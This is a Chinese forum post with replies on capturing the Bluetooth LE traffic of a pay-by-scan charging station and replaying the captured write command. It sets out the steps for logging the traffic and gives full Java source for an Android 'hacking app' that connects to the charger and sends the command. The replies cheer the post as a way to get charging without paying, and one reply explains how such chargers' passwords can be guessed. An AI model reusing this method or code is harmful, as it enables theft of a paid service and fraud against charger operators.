扫码充电桩蓝牙ble通信分析
本帖最后由 wshuo 于 2024-4-5 01:36 编辑### 前言
### 1.分析的前提: 抓包
我用的是colorOS系统(某p的系统),弄清这一步花费了我很长时间。
拨号按键输入:\*#800#
打开反馈工具箱
通信模组-蓝牙-开始抓取
正常操作,扫描付款,启用充电桩
结束抓取
那么目前此时蓝牙数据包就已经包含 启用充电桩的关键命令了
数据包传输到电脑:
```shell
adb pull /sdcard/Android/data/com.oplus.logkit/files/Log .
```
抓取的日志都在Log下,每抓取一次,就会在Log下建立一个目录
而我们实际所需要分析的蓝牙日志文件只有一个:
```shell
Log/日期xxx@bluetooth/common/debuglogger/connsyslog/bthci/CsLog_xxxxx/xxx.cfa
```
将这个文件用wireshark 打开cfa文件,分析具体通信数据
### 2.开始分析
对于蓝牙ble通信只需要了解几个基本概念:
service uuid
Characteristic uuid
一个设备会包含多个service, 一个service会包含多个Characteristic
具体的通信过程就是对Characteristic进行读和写,而我们通过蓝牙通信改写了 充电桩的状态,所以毫无疑问,这里就是都某个Characteristic进行了写操作实现的
对协议进行排序(非按时间顺序进行排序)
找到关键的write command:
可以看到是对 Characteristic 进行了写入操作
不过这里需要具体区分写入了那些数据,因为这里wireshark没有单独识别要写入的数据:
红框内的数据,第一个表示是写入,第二个是characteristic hande,所有实际写入的数据是后面的所有部分
### 3. 用BLE Scanner写入查看效果
可以用 **BLE Scanner** 进行测试
### 4.编写hacking app
```java
package com.example.myapplication;
import androidx.appcompat.app.AppCompatActivity;
import androidx.core.app.ActivityCompat;
import android.Manifest;
import android.annotation.SuppressLint;
import android.bluetooth.le.BluetoothLeScanner;
import android.bluetooth.le.ScanCallback;
import android.bluetooth.le.ScanResult;
import android.content.pm.PackageManager;
import android.os.Build;
import android.util.Log;
import android.widget.Button;
import android.os.Bundle;
import android.bluetooth.*;
import android.widget.Toast;
public class MainActivity extends AppCompatActivity {
public final BluetoothGattCallback bluetoothGattCallback = new BluetoothGattCallback() {
@SuppressLint("MissingPermission")
@Override
public void onConnectionStateChange(BluetoothGatt gatt, int status, int newState) {
super.onConnectionStateChange(gatt, status, newState);
if (status == BluetoothGatt.GATT_SUCCESS) {//发现服务成功
gatt.discoverServices();
}
}
@SuppressLint("MissingPermission")
@Override
public void onServicesDiscovered(BluetoothGatt gatt, int status) {
super.onServicesDiscovered(gatt, status);
if (status == BluetoothGatt.GATT_SUCCESS) {
for (BluetoothGattService i : gatt.getServices()
) {
Log.e("service id", i.getUuid().toString());
// service uuid 4位
if (i.getUuid().toString().substring(4, 8).equals("xxxx")) {
for (BluetoothGattCharacteristic characteristic : i.getCharacteristics()
) {
Log.e("char id", characteristic.getUuid().toString());
// characteristic xxxxx 为要写入的uuid
if (characteristic.getUuid().toString().equals("xxxxxxx") && !button_add.isEnabled()) {
changeButton();
mCharacteristic = characteristic;
mgatt = gatt;
break;
}
}
break;
}
}
}
}
};
private final ScanCallback scancallback = new ScanCallback() {
@SuppressLint("MissingPermission")
@Override
public void onScanResult(int callbackType, ScanResult result) {
device = result.getDevice();
// xx:xx:xx:xx:xx:xx 模板mac地址
if (device.getAddress().equals("xx:xx:xx:xx:xx:xx")) {
bluetoothLeScanner.stopScan(this);
Toast.makeText(getApplicationContext(), device.getAddress(), Toast.LENGTH_SHORT).show();
BluetoothGatt bluetoothGatt = device.connectGatt(getApplicationContext(), true, bluetoothGattCallback, BluetoothDevice.TRANSPORT_LE);
}
}
@Override
public void onScanFailed(int errorCode) {
Toast.makeText(getApplicationContext(), "扫描失败", Toast.LENGTH_SHORT).show();
}
};
public Button button_close;
public Button button_add;
public BluetoothLeScanner bluetoothLeScanner;
public BluetoothGattCharacteristic mCharacteristic;
public BluetoothGatt mgatt;
public BluetoothDevice device;
public void changeButton() {
runOnUiThread(new Runnable() {
@Override
public void run() {
button_add.setEnabled(true);
}
});
}
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.S) {
ActivityCompat.requestPermissions(this, new String[]{Manifest.permission.BLUETOOTH_CONNECT, Manifest.permission.BLUETOOTH_SCAN}, 2);
}
setContentView(R.layout.activity_main);
button_close = findViewById(R.id.on_button);
button_add = findViewById(R.id.off_button);
button_add.setEnabled(false);
button_add.setOnClickListener(view -> {
byte[] value = {
//要写入的数据,bytes数组
};
mCharacteristic.setValue(value);
if (ActivityCompat.checkSelfPermission(this, Manifest.permission.BLUETOOTH_CONNECT) != PackageManager.PERMISSION_GRANTED) {
}
mgatt.writeCharacteristic(mCharacteristic);
});
button_close.setOnClickListener(v -> {
System.exit(0);
});
BluetoothManager mBluetoothManager = (BluetoothManager) getSystemService(getApplicationContext().BLUETOOTH_SERVICE);
BluetoothAdapter mBluetoothAdapter = mBluetoothManager.getAdapter();
bluetoothLeScanner = mBluetoothAdapter.getBluetoothLeScanner();
bluetoothLeScanner.startScan(scancallback);
}
}
``` 之前在某充电线干过后端,这种低级的实际上有内嵌一套密码库,使用后会随机复位,但都是有一定变化规律的,实际上用同一条线的情况下,只需要购买3-4次,密码基本就能猜出来了 这样都行.早知道多读书了 感觉上面的回复全是机器人 这么牛逼,竟然绕过付费白嫖充电啊 我靠大佬 牛逼
我勒个骚刚啊。牛逼 大佬666膜拜一手,真刑啊大佬 这样真的没事吗 大佬,厉害了,学到了,还能这样抓取 我靠大佬 牛逼 这样都行.早知道多读书了 这么厉害的白嫖!